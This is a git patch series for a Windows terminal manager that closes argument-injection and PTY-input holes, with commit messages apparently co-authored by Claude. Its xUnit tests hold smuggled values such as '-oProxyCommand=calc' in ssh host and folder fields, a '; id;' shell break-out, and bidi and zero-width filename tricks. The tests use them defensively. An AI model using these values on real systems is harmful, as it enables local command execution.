for the wrong reason. + Assert.Equal("", TerminalBridge.BuildDroppedPathsPayload( + new[] { "C:\\tmp\\a\u202Ecxe.txt" })); + Assert.Equal("", TerminalBridge.BuildDroppedPathsPayload( + new[] { "C:\\tmp\\a\u200Bb.txt" })); // zero-width space + } + + [Fact] + public void ThePathListIsBounded() + { + // The page controls this array; a drag payload advertising thousands of URIs would + // otherwise be typed into the session in a single write. + var many = new string[500]; + for (int i = 0; i < many.Length; i++) many[i] = $"C:\\tmp\\f{i}.txt"; + + string payload = TerminalBridge.BuildDroppedPathsPayload(many); + + Assert.Equal(64, payload.Split(' ').Length); + Assert.StartsWith(@"C:\tmp\f0.txt ", payload); + } + + [Fact] + public void AbsurdlyLongPathsAreSkipped() + { + string huge = @"C:\tmp\" + new string('x', 5000); + + Assert.Equal("", TerminalBridge.BuildDroppedPathsPayload(new[] { huge })); + } } diff --git a/tests/CodeShellManager.Tests/GitServiceInjectionTests.cs b/tests/CodeShellManager.Tests/GitServiceInjectionTests.cs index 1140486..1417ee7 100644 --- a/tests/CodeShellManager.Tests/GitServiceInjectionTests.cs +++ b/tests/CodeShellManager.Tests/GitServiceInjectionTests.cs @@ -264,4 +264,33 @@ public void WslGitCommandLine_TranslatesUncArgumentsPerArgument() string[] argv = Win32CommandLineTests.Split(cmd); Assert.Equal("/home/alice/my repo", argv[^1]); } + + [Fact] + public void TheSentinelAndTheScriptAgreeOnTheMarkerBytes() + { + // Two reviewers independently reported this as broken, because the constant used to + // hold RAW 0x1E bytes that their file reads normalised away. It was correct — but a + // value invisible to tooling is one "cleanup" away from silently breaking every WSL + // repo: a stray 0x1E makes `status --porcelain` non-empty, so every repo reads dirty + // forever. The constant is now written with  escapes, and this pins it against + // what the shell script actually prints so drift fails here rather than in the field. + string sentinel = GitService.WslOutputSentinel; + + Assert.Equal(0x1E, sentinel[0]); + Assert.Equal(0x1E, sentinel[^1]); + Assert.Equal("CSM-GIT", sentinel[1..^1]); + + // printf's octal 036 is 0x1E. One on each side of the same text. + Assert.Contains("036CSM-GIT", GitService.WslGitScript); + Assert.Equal(2, GitService.WslGitScript.Split("036").Length - 1); + } + + [Fact] + public void TheSentinelIsNotWhitespace() + { + // The failure mode if a byte ever leaks through the strip: IsNullOrWhiteSpace is + // false for 0x1E, so a clean repo would be reported as dirty. + Assert.False(string.IsNullOrWhiteSpace(GitService.WslOutputSentinel)); + Assert.Equal("", GitService.StripWslProfileNoise(GitService.WslOutputSentinel)); + } } diff --git a/tests/CodeShellManager.Tests/UntrustedInputTests.cs b/tests/CodeShellManager.Tests/UntrustedInputTests.cs index 96f81e8..28295fa 100644 --- a/tests/CodeShellManager.Tests/UntrustedInputTests.cs +++ b/tests/CodeShellManager.Tests/UntrustedInputTests.cs @@ -44,6 +44,54 @@ public void SshRemoteFolder_IsSingleQuoteEscaped(string folder) Assert.DoesNotContain($"cd '{folder}' &&", args); } + [Theory] + // A `"` is the escape that PosixSingleQuote does NOT handle, so before the outer + // QuoteForCmd it terminated the hand-written Windows wrapper and everything after it + // became separate ssh arguments. ssh honours options after the host, and ProxyCommand + // runs LOCALLY — the same escalation as the SshHost bug, via a different field. + [InlineData("/t\" -oProxyCommand=calc \"x")] + [InlineData("/t\" -oPermitLocalCommand=yes \"x")] + [InlineData("/plain")] + public void TheWholeRemoteCommandStaysOneWindowsArgument(string folder) + { + var session = new ShellSession + { + Kind = SessionKind.Ssh, + SshHost = "example.invalid", + SshRemoteFolder = folder, + Command = "bash", + }; + + string[] argv = Win32CommandLineTests.Split(session.BuildSshArgs()); + + // ssh <-t> . Anything more means the value escaped into + // ssh's own option parsing. + Assert.Equal(3, argv.Length); + Assert.Equal("-t", argv[0]); + Assert.Equal("example.invalid", argv[1]); + Assert.StartsWith("cd ", argv[2]); + Assert.DoesNotContain(argv, a => a.StartsWith("-o")); + } + + [Theory] + [InlineData("h -oProxyCommand=calc")] + [InlineData("h\" -oProxyCommand=calc \"x")] + public void AHostileHostStaysOneWindowsArgument(string host) + { + var session = new ShellSession + { + Kind = SessionKind.Ssh, + SshHost = host, + Command = "bash", + }; + + string[] argv = Win32CommandLineTests.Split(session.BuildSshArgs()); + + Assert.Equal(3, argv.Length); + Assert.Equal(host, argv[1]); + Assert.DoesNotContain(argv, a => a.StartsWith("-o")); + } + [Fact] public void PosixSingleQuote_EscapesEveryQuote() { From 193ecc9fe998a080425046a9c1936570a2de7cdf Mon Sep 17 00:00:00 2001 From: Allan Thraen Date: Tue, 8 Sep 2026 17:29:22 +0200 Subject: [PATCH 5/6] =?UTF-8?q?fix:=20round-5=20=E2=80=94=20close=20the=20?= =?UTF-8?q?last=20two=20ShellExecute/PTY=20inconsistencies?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Round 5 was an exhaustive audit rather than a hunt: enumerate every site in src/ where a string becomes a process argument or reaches a PTY, and say for each where its values come from and how they are escaped. **Verdict: argument injection is systematically closed.** No untrusted origin reaches a raw interpolation on any argv path. Every builder funnels through QuoteForCmd / PosixSingleQuote / JoinArgv, and `--` is gone from every wsl.exe invocation. The audit also independently walked the round-4 nesting with a value carrying `'`, `"` and a trailing backslash and confirmed it lands as exactly one argv element. I verified both layers myself rather than taking that on trust: - POSIX: 8 hostile values round-tripped through a real /bin/sh in a WSL distro (`sh -c 'printf %s '` returns the original for every one). - Windows argv: the same values through the real CommandLineToArgvW, now pinned by BothEscapingLayersNestCorrectly. ## The two residuals it did find, both inconsistencies **`UpdateBadge_Click` reached ShellExecute with no scheme check** — the same shape as `RunCommandItem.PostRunUrl`, which has had a guard for exactly this reason, sitting a few files away. The value comes from a GitHub API response via an AppData cache file, so the risk is low; the inconsistency is the problem. An unguarded ShellExecute next to a guarded one is how the guard stops being the rule. Now goes through the same TryGetLaunchableUrl. **Run output was written to the PTY raw.** `SendRunOutputToTerminal` wrote arbitrary run-command stdout with `SendToTerminal`, while the clipboard path beside it correctly round-trips through the page so xterm applies bracketed paste. Same primitive the drop fix was about — "a newline written to a PTY is Enter" — just user-initiated. Added `TerminalBridge.PasteToTerminal` and used it here; it falls back to a plain write before the page is up, so it is strictly no worse than what it replaces. CLAUDE.md gains both rules: that a value can cross two escaping layers and each escaper only defends one, and that SendToTerminal types while PasteToTerminal pastes. | Check | Result | |---|---| | Solution build (Release, clean) | 0 errors, 0 warnings | | Unit tests | 597/597 | | Vulnerable packages | none | Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_01NDsEfog5kVkT5NmX1Ya5be --- CLAUDE.md | 14 ++++++++ src/CodeShellManager/MainWindow.xaml.cs | 22 ++++++++++--- .../Terminal/TerminalBridge.cs | 28 ++++++++++++++++ .../UntrustedInputTests.cs | 33 +++++++++++++++++++ 4 files changed, 93 insertions(+), 4 deletions(-) diff --git a/CLAUDE.md b/CLAUDE.md index 97a9e2d..5a970af 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -225,6 +225,20 @@ fail against the pre-fix code. The same fix removed a plain bug: `--format=%(refname:short)` is a bash syntax error once a login shell sees it, so `ListBranchesAsync` could never have worked under WSL. +**Two escaping layers, and a value can cross both.** `SshRemoteFolder` was POSIX-escaped in +one round and *still* exploitable in the next, because the remote command was additionally +hand-wrapped in `" … "` for Windows argv — and `PosixSingleQuote` escapes `'`, not `"`. A `"` +in the folder therefore broke out at the **Windows** layer, and text after it became separate +ssh arguments; ssh honours options after the host, and `ProxyCommand` runs *locally*. Both +ssh builders now assemble the remote command and pass it through `QuoteForCmd(force: true)` +as a single argv element. When a value crosses layers, ask which layer each escaper defends. + +**`SendToTerminal` types; `PasteToTerminal` pastes.** A raw PTY write submits at every +newline — that is what made a dropped filename containing `%0A` a command-execution bug. +`SendToTerminal` is only for text the app authored (a keystroke, a fixed preset command). +Anything the app did not write — run-command output, clipboard, dropped paths — goes through +`PasteToTerminal`, which routes via the page so xterm applies bracketed-paste markers. + **Verified empirically against a real distro**, because two rounds of reasoning about this had already been wrong: diff --git a/src/CodeShellManager/MainWindow.xaml.cs b/src/CodeShellManager/MainWindow.xaml.cs index 2521199..8844454 100644 --- a/src/CodeShellManager/MainWindow.xaml.cs +++ b/src/CodeShellManager/MainWindow.xaml.cs @@ -1241,7 +1241,10 @@ private void SendRunOutputToTerminal(SessionViewModel vm, WpfTextBox drawerText) string exit = inst.ExitCode is { } code ? $" (exit code {code})" : ""; // No trailing \r — leave it in Claude's input box for the user to submit. string wrapped = $"\nOutput of `{inst.CommandLine}`{exit}:\n```\n{text}\n```\n"; - vm.Bridge.SendToTerminal(wrapped); + // Paste, not type. `text` is whatever the run command printed — arbitrary tool + // output — and a raw PTY write submits at every newline in it. Bracketed paste + // is what the clipboard path already uses; this is the same class of content. + vm.Bridge.PasteToTerminal(wrapped); ToastHelper.Show("Sent to Claude", $"{text.Length} chars wrapped in fence"); } else @@ -5335,9 +5338,20 @@ private async Task CheckForUpdatesAsync() private void UpdateBadge_Click(object sender, System.Windows.Input.MouseButtonEventArgs e) { - if (_updateReleaseUrl == null) return; - System.Diagnostics.Process.Start( - new System.Diagnostics.ProcessStartInfo(_updateReleaseUrl) { UseShellExecute = true }); + // Same guard as RunCommandItem.PostRunUrl, for the same reason: ShellExecute will + // launch a local exe, a .ps1, a UNC path or any registered protocol handler, and + // this value arrives from a GitHub API response via a cache file under AppData. + // Low risk on its own — but an unguarded ShellExecute sitting next to a guarded one + // is how the guard stops being the rule. + if (!Services.RunInstance.TryGetLaunchableUrl(_updateReleaseUrl, out string? safeUrl)) + return; + + try + { + System.Diagnostics.Process.Start( + new System.Diagnostics.ProcessStartInfo(safeUrl!) { UseShellExecute = true }); + } + catch (Exception ex) { Log($"UpdateBadge launch failed: {ex.Message}"); } } private void UpdateBadgeDismiss_Click(object sender, RoutedEventArgs e) diff --git a/src/CodeShellManager/Terminal/TerminalBridge.cs b/src/CodeShellManager/Terminal/TerminalBridge.cs index 401cb73..50995c4 100644 --- a/src/CodeShellManager/Terminal/TerminalBridge.cs +++ b/src/CodeShellManager/Terminal/TerminalBridge.cs @@ -677,8 +677,36 @@ private static bool HasAnyOverride(ShellSession s) => || s.ProfilePadding != null || s.ProfileRetroEffect != null || !string.IsNullOrEmpty(s.ProfileColorSchemeJson); + /// + /// Writes text to the PTY exactly as typed. Only for text WE construct — a keystroke, a + /// fixed command from a preset. Every newline in it is an Enter. + /// public void SendToTerminal(string text) => _pty?.Write(text); + /// + /// Delivers text as a PASTE rather than as keystrokes, going through the page so xterm + /// wraps it in bracketed-paste markers when the running program has enabled them. + /// + /// Use this for anything the app did not author — run-command output, clipboard content, + /// dropped paths. A raw of multi-line text submits at every + /// newline; the same primitive that made a dropped filename containing %0A a + /// command-execution bug. Falls back to a plain write when the page isn't up yet, which + /// is no worse than the direct write it replaces. + /// + public void PasteToTerminal(string text) + { + if (string.IsNullOrEmpty(text)) return; + + if (!_ready) { _pty?.Write(text); return; } + + string json = JsonSerializer.Serialize(new { type = "paste", data = text }); + WpfApplication.Current?.Dispatcher.BeginInvoke(() => + { + try { _webView.CoreWebView2?.PostWebMessageAsString(json); } + catch { } + }); + } + public void FitTerminal() { if (!_ready) return; diff --git a/tests/CodeShellManager.Tests/UntrustedInputTests.cs b/tests/CodeShellManager.Tests/UntrustedInputTests.cs index 28295fa..be3625c 100644 --- a/tests/CodeShellManager.Tests/UntrustedInputTests.cs +++ b/tests/CodeShellManager.Tests/UntrustedInputTests.cs @@ -92,6 +92,39 @@ public void AHostileHostStaysOneWindowsArgument(string host) Assert.DoesNotContain(argv, a => a.StartsWith("-o")); } + [Theory] + // The two escaping layers nest: POSIX single-quoting inside the remote command, Windows + // argv quoting around the whole of it. These values exercise both at once — a quote for + // the inner layer, a double-quote and a trailing backslash for the outer one, which is + // where MSVCRT's 2n/2n+1 backslash rules bite. + [InlineData("/it's/here")] + [InlineData("/a\"b")] + [InlineData("/a'b\"c")] + [InlineData("/trailing\\")] + [InlineData("/a'b\"c\\")] + [InlineData("/x'; id; :'")] + public void BothEscapingLayersNestCorrectly(string folder) + { + var session = new ShellSession + { + Kind = SessionKind.Ssh, + SshHost = "example.invalid", + SshRemoteFolder = folder, + Command = "bash", + }; + + string[] argv = Win32CommandLineTests.Split(session.BuildSshArgs()); + + // Outer layer: exactly three arguments reach ssh, whatever the value contains. + Assert.Equal(3, argv.Length); + Assert.Equal("example.invalid", argv[1]); + + // Inner layer: the remote command ssh receives carries the POSIX-escaped folder + // verbatim. Its correctness against a real /bin/sh is verified separately — every + // case here was round-tripped through `sh -c 'printf %s …'` in a WSL distro. + Assert.Equal($"cd {ShellSession.PosixSingleQuote(folder)} && bash", argv[2]); + } + [Fact] public void PosixSingleQuote_EscapesEveryQuote() { From f8ea4bffe6396726abb3920892dde7eab12c01f2 Mon Sep 17 00:00:00 2001 From: Allan Thraen Date: Tue, 8 Sep 2026 17:33:54 +0200 Subject: [PATCH 6/6] docs(run): correct the send-to-Claude comment, which described the opposite MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The comment claimed "no trailing \r — leave it in Claude's input box for the user to submit". The string ends in \n, and a raw PTY write delivers that as Enter exactly like \r, so it submitted — as did every newline inside the run output. Round 5's switch to bracketed paste is what actually made the stated intent true; the comment now says so. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_01NDsEfog5kVkT5NmX1Ya5be --- src/CodeShellManager/MainWindow.xaml.cs | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/src/CodeShellManager/MainWindow.xaml.cs b/src/CodeShellManager/MainWindow.xaml.cs index 8844454..9c4f37f 100644 --- a/src/CodeShellManager/MainWindow.xaml.cs +++ b/src/CodeShellManager/MainWindow.xaml.cs @@ -1239,11 +1239,16 @@ private void SendRunOutputToTerminal(SessionViewModel vm, WpfTextBox drawerText) if (isClaude && vm.Bridge != null) { string exit = inst.ExitCode is { } code ? $" (exit code {code})" : ""; - // No trailing \r — leave it in Claude's input box for the user to submit. + // The intent has always been "leave it in Claude's input box for the user to + // submit", but the old comment claimed that was achieved by having no trailing + // \r — while the string ends in \n, which a raw PTY write delivers as Enter just + // the same. So it submitted, and every newline inside `text` submitted too. string wrapped = $"\nOutput of `{inst.CommandLine}`{exit}:\n```\n{text}\n```\n"; + // Paste, not type. `text` is whatever the run command printed — arbitrary tool - // output — and a raw PTY write submits at every newline in it. Bracketed paste - // is what the clipboard path already uses; this is the same class of content. + // output — and bracketed paste is what the clipboard path already uses for the + // same class of content. This finally makes the behaviour match the intent + // above: the fenced block lands in the input box and waits for the user. vm.Bridge.PasteToTerminal(wrapped); ToastHelper.Show("Sent to Claude", $"{text.Length} chars wrapped in fence"); }